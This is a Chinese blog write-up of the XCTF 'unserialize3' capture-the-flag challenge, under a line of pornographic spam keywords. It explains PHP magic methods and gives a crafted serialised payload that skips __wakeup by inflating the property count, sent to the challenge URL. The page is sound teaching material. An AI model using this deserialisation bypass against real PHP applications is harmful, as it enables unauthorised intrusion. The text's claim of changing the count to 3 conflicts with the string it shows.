日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XCTF-高手进阶区:unserialize3

發布時間:2023/12/31 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XCTF-高手进阶区:unserialize3 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

XCTF-高手進階區:unserialize3

目標:

  • 了解php反序列化中__wakeup漏洞的利用
  • 了解php魔術方法
  • __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被稱為魔術方法(Magic methods)。在命名自己的類方法時不能使用這些方法名,除非是想使用其魔術功能
  • 注意:PHP 將所有以 __(兩個下劃線)開頭的類方法保留為魔術方法。所以在定義類方法時,除了上述魔術方法,建議不要以 __ 為前綴。
  • __sleep() 和 __wakeup()
    public __sleep ( void ) : array
    __wakeup ( void ) : void
    serialize() 函數會檢查類中是否存在一個魔術方法 __sleep()。如果存在,該方法會先被調用,然后才執行序列化操作。此功能可以用于清理對象,并返回一個包含對象中所有應被序列化的變量名稱的數組。如果該方法未返回任何內容,則 NULL 被序列化,并產生一個 E_NOTICE 級別的錯誤。
    Note:
    (1)__sleep() 不能返回父類的私有成員的名字。這樣做會產生一個 E_NOTICE 級別的錯誤。可以用 Serializable 接口來替代。
    (2)__sleep() 方法常用于提交未提交的數據,或類似的清理操作。同時,如果有一些很大的對象,但不需要全部保存,這個功能就很好用。
    (3)與之相反,unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup 方法,預先準備對象需要的資源。
    (4)__wakeup() 經常用在反序列化操作中,例如重新建立數據庫連接,或執行其它初始化操作。
  • 訪問控制
    PHP 對屬性或方法的訪問控制,是通過在前面添加關鍵字 public(公有),protected(受保護)或 private(私有)來實現的。
    public(公有):公有的類成員可以在任何地方被訪問。
    protected(受保護):受保護的類成員則可以被其自身以及其子類和父類訪問。
    private(私有):私有的類成員則只能被其定義所在的類訪問。
  • unserialize() 將已序列化的字符串還原回 PHP 的值。
    序列化請使用 serialize() 函數。
    語法
    unserialize(str)
    參數 描述
    str 必需。一個序列化字符串。
    __wakeup()是用在反序列化操作中。unserialize()會檢查存在一個__wakeup()方法。如果存在,則先會調用__wakeup()方法。

Writeup

我們訪問目標網址,根據__wakeup魔術方法和題目名字,可以猜到這里是用到了php反序列化

進行代碼分析:(注意,這里面的代碼少了倒數第二個大括號收尾,我已經加上去了)

class xctf{ //定義一個名為xctf的類 public $flag = '111'; //定義一個公有的類屬性$flag,值為111 public function __wakeup(){ //定義一個公有的類方法__wakeup(),輸出bad requests后退出當前腳本 exit('bad requests'); } } ?code= //可能是在提示我們http://111.198.29.45:30940?code=一個值進行利用
  • 代碼中的__wakeup()方法如果使用就是和unserialize()反序列化函數結合使用的,這里沒有序列化字符串,何來反序列化呢?于是,我們這里實例化xctf類并對其使用序列化(這里就實例化xctf類為對象peak)
<?php class xctf{ //定義一個名為xctf的類 public $flag = '111'; //定義一個公有的類屬性$flag,值為111 public function __wakeup(){ //定義一個公有的類方法__wakeup(),輸出bad requests后退出當前腳本 exit('bad requests'); } } $peak = new xctf(); //使用new運算符來實例化該類(xctf)的對象為peak echo(serialize($peak)); //輸出被序列化的對象(peak) ?>
  • 代碼執行結果:
O:4:"xctf":1:{s:4:"flag";s:3:"111";} /*xctf類后面有一個1,整個1表示的是xctf類中只有1個屬性 __wakeup()漏洞就是與序列化字符串的整個屬性個數有關。當序列化字符串所表示的對象, 其序列化字符串中屬性個數大于真實屬性個數時就會跳過__wakeup的執行,從而造成__wakeup()漏洞 */
  • 因此,我們要反序列化xctf類的同時還要繞過__wakeup方法的執行(如果不繞過__wakeup()方法,那么將會輸出bad requests并退出腳本),__wakeup()函數漏洞原理:當序列化字符串表示對象屬性個數的值大于真實個數的屬性時就會跳過__wakeup的執行。因此,需要修改序列化字符串中的屬性個數:
    當我們將上述的序列化的字符串中的對象屬性個數由真實值1修改為3,即如下所示
O:4:"xctf":2:{s:4:"flag";s:3:"111";}

我們最后進行url訪問

http://111.198.29.45:30940?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

序列化字符串各部分簡單釋義:
O代表結構類型為:類:4表示類名長度:接著是類名:屬性(成員)個數
大括號內分別是:屬性名類型;長度:名稱:值類型:長度:值
結果如下所示:

注:
class參考:https://www.runoob.com/php/php-oop.html
$this參考:http://www.php.cn/php-weizijiaocheng-360302.html

總結

以上是生活随笔為你收集整理的XCTF-高手进阶区:unserialize3的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。